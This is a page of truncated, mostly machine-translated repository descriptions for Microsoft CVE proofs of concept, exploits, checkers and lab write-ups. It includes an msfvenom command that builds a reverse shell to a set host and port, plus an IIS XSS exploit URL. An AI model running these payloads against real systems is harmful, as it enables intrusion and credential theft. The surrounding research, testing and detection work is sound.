CVE-2026-33825

🔨 CVE-2026-33825: BlueHammer Повышение привилегий в Microsoft Defender 📌 Общее описание Уязвимость CVE-2026-33825 , получившая название "BlueHammer" , представляет собой критическую ошибку локального повышения привилегий EoP в механизме устранения угроз Microsoft Defender. 🚨 Критическое...

CVE-2026-20841-PoC

CVE-2026-20841-PoC Доказательство концепции для CVE-2026-20841 CVE-2026-20841 – Подробности CVE-2026-20841 — это уязвимость, затрагивающая Microsoft Notepad, где специально созданный ввод может вызвать непреднамеренное выполнение команд. Проблема возникает из-за некорректной обработки определённо...

CVE-2026-21509-PoC

CVE-2026-21509 — Образовательный фиктивный PoC для проверки видимости Defender ⚠️ Этот репозиторий предоставляет безвредный, неэксплуатируемый Proof of Concept. Его цель — поддержка защитных исследований , тестирования видимости EDR/AV и обучения. Он не эксплуатирует CVE‑2026‑21509 и содержит...

CVE-2021-41349

Microsoft Exchange Exploit CVE-2021-41349 Эксплуатация: CVE-2021-41349 Этот инструмент эксплуатации создает форму для отправки XSS-пейлоада на целевой сервер Exchange. Вам необходимо создать js-файл, содержащий то, что вы хотите выполнить. Использование 1. Создайте свой js-пейлоад и загрузите его...

CVE-2026-20805-PoC

CVE-2026-20805 PoC Microsoft Desktop Window Managerdwm.exe의 정보 노출 취약점을 입증하는 개념 증명PoC입니다. 개요 이 저장소에는 Windows Desktop Window Manager 프로세스에 영향을 미치는 정보 노출 취약점인 CVE-2026-20805를 재현하기 위해 개발된 맞춤형 개념 증명PoC이 포함되어 있습니다. 이 취약점은 ALPC 관련 구조체의 부적절한 처리로 인해 로컬 인증 사용자가 커널 객체 포인터를 유출할 수 있게 하며, 잠재적으로 KASLR커널 주소 공간...

SCTT-2026-33-0007-The-OLE-Vortex-Laminar-Bypass-

SCTT-2026-33-0007-The-OLE-Vortex-Laminar-Bypass- Microsoft только что выпустила экстренные исправления для CVE-2026-21509 — zero-day уязвимости в Office Suite, которая обходит механизмы защиты OLE/COM при простом открытии файла пользователем. Они считают, что их «изменение на стороне сервиса» для...

CTT-MICROSOFT-OFFICE-OLE-MANIFOLD-BYPASS-CVE-2026-21509

🏛️CTT - Обход Microsoft Office OLE Manifold CVE-2026-21509 Стандартизированная реализация CTT для 1096x временного выполнения ! 📜 Обзор уязвимости CVE-2026-21509 — это критический обход в механизме проверки OLE Object Linking and Embedding Microsoft Office. В то время как стандартные «ламинарные»...

cve-2025-59287-exploit-poc

CVE-2025-59287 Эксплойт Proof-of-Concept Обзор уязвимости CVE-2025-59287 — это критическая уязвимость удалённого выполнения кода RCE в службе обновления Windows Server Update Services WSUS от Microsoft. Уязвимость вызвана небезопасной десериализацией данных AuthorizationCookie через BinaryFormatt...

redsun-bluehammer-undefend-detection-pack

Пакет обнаружения RedSun, BlueHammer, UnDefend и CrossFamily ВАЖНО: Весь код и логика обнаружения в этом репозитории созданы искусственным интеллектом. Нет никаких гарантий, что эти скрипты корректны, полны, безопасны или подходят для любого окружения. Используйте эти скрипты полностью на свой...

CVE-2023-29357-Check

CVE-2023-29357 Уязвимость повышения привилегий в Microsoft SharePoint Server Этот скрипт сообщит вам, уязвима ли цель для CVE-2023-29357 Использование python3 script.py Отказ от ответственности Этот скрипт предназначен только для образовательных целей. Не используйте его против целей без...

tryhackme-monikerlink-writeup

TryHackMe: Moniker Link — прохождение CVE-2024-21413 Полное прохождение комнаты TryHackMe «Moniker Link»: использование CVE-2024-21413, уязвимости Microsoft Outlook 2024 года, для кражи NTLMv2-хэша жертвы в тот момент, когда она кликает по ссылке в фишинговом письме — без макроса, без вложения и...

CVE-2024-21413-Microsoft-Outlook-Moniker-Link-Vulnerability

CVE-2024-21413 – Уязвимость Moniker Link в Microsoft Outlook Обзор В этом репозитории представлен мой практический анализ CVE-2024-21413 Moniker Link — критической уязвимости Microsoft Outlook, которая обходит защищённый просмотр Protected View и приводит к утечке учётных данных Windows NetNTLMv2...

Disclosures

Раскрытия Этот репозиторий содержит мои отчёты об уязвимостях, которые не подпадают под NDA и не ограничены условиями обслуживания VRP. Содержание Fancy Product Designer Microsoft Xfinity...

CVE-2025-24999

CVE-2025-24999 preuve de concept pour CVE-2025-24999 https://databasesecurityninja.wordpress.com/2026/04/02/microsoft-sql-server-privilege-elevation-through-msdatabasemanager-role-cve-2025-24999/...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC

💻 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC 🧩 Обзор Этот проект воспроизводит поведение MonikerLink CVE-2024-21413 в полностью изолированной среде TryHackMe, чтобы показать, как определенные форматы гиперссылок могут заставить Outlook обрабатывать ссылку таким...

MS08-067

MS08-067 | CVE-2008-4250 Ссылка: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Генерация шеллкода Мы будем использовать msfvenom для генерации шеллкода. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

CVE-2025-4162030

Консультация по безопасности: CVE-2025-4162030 Это сводка по безопасности предоставлена CoPilot ^1^. Контент, предоставленный на этом веб-сайте, доступен только в информационных целях и может быть доступен и использован поисковыми системами или языковыми моделями LLM при соблюдении следующих...

CVE-2017-0055-PoC

CVE-2017-0055 PoC MICROSOFT IIS 7.0/7.5/8.0/8.5/10 /UNCPATH/ МЕЖСАЙТОВЫЙ СКРИПТИНГ XSS Ссылка: https://nvd.nist.gov/vuln/detail/CVE-2017-0055 Базовая оценка: 6.1 Серьезность: Средний Эксплойт: http://vulniis/uncpath/%3Cimg%20onerror=alert'xss'%20src=/%3E:/...

chef_tissues

Tissues Installer le correctif pour CVE-2017-0145 alias WannaCry. Plus d'infos : https://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Ransom:Win32/WannaCrypt Utilisation : "name":"mynode", "runlist": "recipetissues"...

ProxyLogon

Отказ от ответственности: Вся информация, представленная в этом репозитории, предназначена только для образовательных и исследовательских целей. Автор никоим образом не несет ответственности за любое неправомерное использование информации или кода, представленного здесь. Чтобы использовать эту...